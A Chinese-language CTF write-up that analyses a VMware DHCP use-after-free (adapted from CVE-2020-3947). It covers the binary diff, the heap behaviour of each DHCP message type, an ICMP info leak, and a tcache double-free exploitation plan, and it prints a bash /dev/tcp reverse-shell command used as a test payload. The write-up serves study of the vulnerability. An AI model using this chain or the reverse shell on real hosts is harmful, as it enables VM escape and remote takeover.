D^3CTF VMWare Esacpe RealVM题解
前言
距离上次做出VMWare逃逸的题目已经过去一年了,前几天D^3CTF里蚂蚁光年实验室请Ezrak1e师傅出了道RealWorld的Vmware逃逸题,该题目改编自CVE-2020-3947
,为了方便利用出题人多加了个信息泄露的洞(实际上这也是真实存在的漏洞,被官方修复了),比赛的时候做出来phppwn和kernel之后就没什么时间再开这道题了,赛后官方放了wp,跟着Ez师傅的wp学习一下这道题目的解法。
背景知识-dhcp协议
dhcp协议是动态获取IP地址的应用层协议,默认不设置静态IP的话都会走dhcp协议动态获取IP,协议有不同类型的消息,详情可以参考这篇文章DHCP协议 详解,这里简单介绍一下协议交互的一般流程:
- 新的client加入网络时,会使用0.0.0.0作为源地址,发送discover广播报文,查询网络上有哪些DHCP server,以及这些DHCP server 能Offer哪些IP地址
- DHCP服务器接收到DHCP Discover报文后,回应Offer报文,提供IP地址(可能包含DNS等其他信息)给client
- client 根据收到的Offer报文,选择一个DHCP server,并选择它提供的IP地址。然后广播Request报文,想DHCP Server请求该IP地址,同时想本地网络(尤其是其他DHCP Server)公告自己已经选择了某个DHCP Server的某个IP地址。
- DHCP Server 回应ACK报文,将IP地址分配给Client端 (特殊情况:DHCP Server在发送Offer报文和接收到Request的短暂时间内把IP分配给了其他主机)
- DHCP Client 收到ACK报文后,会针对获得的IP地址发送ARP Request,进行IP地址冲突检测。
- 如果IP地址已经被其他主机使用,则Client放弃该IP地址,想Server发送DHCP DECLINE报文告诉Server该地址不能使用。然后一段时间后(一般10s)再此尝试获取该IP地址
- 如果Client仍然无法使用该IP地址,则发送DHCP RELEASE报文,放弃该地址。
协议报文结构如下,其中Option指定了消息类型
dhcp的地址管理是通过租约来实现的,当dhcp client请求IP时dhcp server分配一个IP并伴随一个租约结构,该结构标识了IP的有效期,一旦超过这个有效期server就要回收IP,除非客户端在租约内更新租期。
漏洞分析
diff分析
题目给了一个patch的dhcpd,其用于替换/usr/bin/vmnet-dhcpd
,我们在ubuntu 18.04安装给的.bundle文件,之后拷贝出安装后的dhcpd同漏洞文件做二进制比较,分析之后一共有三处不同。
第一处在0x1bda6
,patch了r14和r15寄存器值不相等
的检查
patch之后的代码
patch之前的代码
patch之前的代码的检查
第二处diff在0x1c3c2
,同样是patch掉了对于r14和r15寄存器值相等
的检查,即使二者相等也可以直接进入到后面lable7的free流程。
patch之后的代码
patch之前的代码
patch之前的代码的检查
第三处diff在0x247bf
,这里比较清晰,nop掉了两个变量初始化为0的部分。
patch之后的代码
patch之前的代码
patch之前的变量初始化
综上所述,整个diff分成两部分,第一部分patch掉了对于*(a1+88)==*(a2+88)
的安全检查,即使二者相等也可以顺利执行dhcp请求。第二部分变量未初始化用于泄露敏感信息。
dhcp源码分析
仅仅有上述的diff信息还不足以进行漏洞利用,我们搜索一下VMWare dhcp CVE可以找到CVE-2020-3947
的分析,根据绿盟的一篇文章CVE-2020-3947 : VMWARE WORKSTATION DHCP组件UAF 漏洞分析,我们可以下载isc的开源代码进行分析,这一点从Binary执行之后的字符串也可以看到。
1 | Internet Software Consortium DHCP Server 2.0 |
在isc file ftp下载源码,因为没有这里的2.0版本,因此我们选个最新版本4.4.2分析(vmnet-dhcpd改的isc代码),根据zero-day的描述CVE-2020-3947: USE-AFTER-FREE VULNERABILITY IN THE VMWARE WORKSTATION DHCP COMPONENT配合源码的结构体可以大致了解租约结构(下方的源码中增加了更多字段),该结构中保存了uid/mac地址
等信息。
这里的supersede_lease
即为漏洞函数,其功能为从旧租约lease向新租约comp拷贝成员,漏洞出现在对于comp->uid和lease->uid的检查缺失上,在拷贝完毕后假如新租约的uid不为零,则调用free释放了新租约的comp->uid。
1 |
|
这里的问题在于虽然释放了comp->pid
并将其置零,但是没有考虑到lease->uid==comp->uid
的情况,当连续发送DHCPDISCOVER
和DHCPRELEASE
消息时,二者的uid相同(如下图所示),在后续调用write_lease的过程中则会对已经释放过的uid进行读操作fprintf(qword_30ECC8[0], "\n\tuid %2.2x", **(_BYTE **)(comp + 0x58));// 这里
,这里存在UAF.
我们在IDA查看交叉引用可以找到调用supersede_lease
的上层函数,这里的expire_release(0x1ceb0)
函数即是调用对于DHCPRELEASE
消息的处理。
1 | __int64 __fastcall expire_release(const void *a1, __int64 a2, __int64 a3, __int64 a4, unsigned __int64 a5, __int64 a6) |
再看下其他几个引用,追一下调用(配合特殊字符串)可以找到dhcp_message_parse(0x20f80)->dhcp_discover(0x20990)->alloc_lease_and_send(0x1ec70)
函数,配合message type可以找到对于DHCPDISCOVER
和DHCPREQUEST
数据包的处理。
1 | int __usercall dhcp_message_parse@<eax>(__int64 a1@<rdi>, size_t a2@<r13>, __int64 a3@<r14>, __int64 a4@<r15>, __int64 a5@<rsi>) |
1 | DHCP 消息类型 对应的Option值 |
漏洞利用
根据Zdi的分析我们发现write_lease中只是UAF的读操作,并不会产生实质性的危害,根据Ez师傅的wp可以看到还有另一个UAF的利用途径,dhcpd中使用哈希表保存租约,释放uid的租约被保存其中,当我们取出来这个租约再进行拷贝时就可能存在double free,我们利用double free,找到可控的malloc即可进行tcache attack。
1 | int __fastcall add_to_hashtable(__int64 a1) |
这里需要对每种报文的堆块分配释放,下面只介绍exp用到的报文的堆分配释放情况:
- DHCPREQUEST:在
call_alloc_renew(0x20c20)->find_hash_idx(0x20010)->alloc_lease_and_send->malloc->supersede_lease->free
,首先查找哈希表寻找租约索引,之后在alloc_lease_and_send
函数中分配新的租约,分配uid,调用supersede_lease
拷贝旧租约的关键信息并释放旧租约的uid指针,即先malloc后free - DHCPRELEASE:释放uid,仅free
- DHCPINFORM:
dhcp_inform->alloc_lease_and_send->malloc
,INFORM报文仅查询数据不会更新数据,因此不会调用supersede_lease进行数据拷贝和租约更新,仅malloc
1 | __int64 __usercall dhcp_inform@<rax>(__int64 a1@<rdi>, __int64 a2@<r15>) |
分析到现在发现我们忘记了信息泄露的洞,在patch的函数跟进处理我们未初始化变量的部分,发现这里是dhcp前的ping数据包发送部分,我们的数据可以通过icmp数据包泄露出来,泄露的长度为0x20,涵盖了我们未初始化的两个变量。
1 | __int64 __fastcall ping_before_offer(__int64 a1) |
这里比较神奇,第一次调试的时候发现这里的两个变量值分别为0和一个libc中的值,因此我将sz改成了0x168用以泄露出出题人布置的stack_addr和proc_addr,后来调exp的时候又发现这里的值变回了stack_addr和proc_addr,猜想是自己测试的时候使用的是dhclient命令,函数进去的时候其处理的可能并不是我们的REQUEST包。
那么最终的利用思路就出来了,
- 我们首先根据icmp包泄露出栈地址和程序基址
- 发送三个request数据包占位得到lease和uid结构(0x30的堆块)
- 发送多个Inform包清空0x30对应的free chunks
- 发送三个release数据包得到2个被释放的uid结构
- 发送3个request数据包,首先malloc uid得到这里的0xxx5b0,之后拷贝再释放旧的lease 0xxx470,double free
再malloc即可进行uaf写(配合memcpy) - 发送多个inform数据包进行malloc并写stack_addr,断到程序退出处
0x1ECDC
可以看到最终执行了rop去调用system("gflag")
- 这里为了验证将gflag写为
bash -i >& /dev/tcp/192.168.139.128/1234 0>&1
的反弹shell命令,虚拟机内部起1234端口监听
一些问题
- 如何调试?
由于是协议相关的洞,这里在host里安装wireshark进行抓包,过滤条件可以是bootp(dhcp属于bootp的扩展)/icmp/ip.src/ip.addr
等,如下图是抓的icmp包泄露信息(之前patch了data_sz为0x168),抓之前使用sudo ifconfig vmnet8 promisc
将host的vmnet8设置为混杂模式(这样可以抓取网卡上所有的流量,vmnet8默认是vmware guest nat的网卡)
- 如何编写exp?
首先得了解协议数据包的格式,我们发送raw packet的时候需要自己组装数据包,从ether+ip+udp+dhcp都需要自己写,写的过程中可以拿wireshark进行调试,原本我是打算自己写一遍,但是调试过程中发现Ez师傅构造的数据没什么问题(除了分配的heap没有释放2333),中间修改了一些字段,比如mac地址,dhcp server地址等。
有了协议之后就可以发包进行漏洞利用了,这里可以拿dhclient -r ens33 && dhclient ens33
强制renew dhcp抓包之后看流量,照抄下来字段即可,之后发送request+release观察堆块变化,有无uaf触发成功,之后再构造inform获取fake chunk写
- 复现的环境?
这里的exp是tcache attack,最新的Ubuntu 18.04更新了glibc,引入了新的防范机制,我这里复现的时候拿快照还原到了去年的状态因此不需要修改exp,否则需要想办法绕过tcache的机制
exp.c
exp基本是照搬Ez师傅的,中间改了一些关键字段,多加了点注释方便自己看。
1 |
|
感想
搜dhcp虚拟机逃逸会发现不仅是VMWare,virtualbox也有dhcp的逃逸漏洞,开源的组件相比于vmx来说挖洞难度更低,因为是魔改的,也可以用开源的代码降低逆向的难度,这道题很好地改编了CVE-2020-3947
,从几天的调试分析过程中也学到了很多。
参考
选手看了都说想打出题人 | AntCTF x D^3CTF [Real_VMPWN] Writeup
CVE-2020-3947 : VMWARE WORKSTATION DHCP组件UAF 漏洞分析
CVE-2020-3947: USE-AFTER-FREE VULNERABILITY IN THE VMWARE WORKSTATION DHCP COMPONENT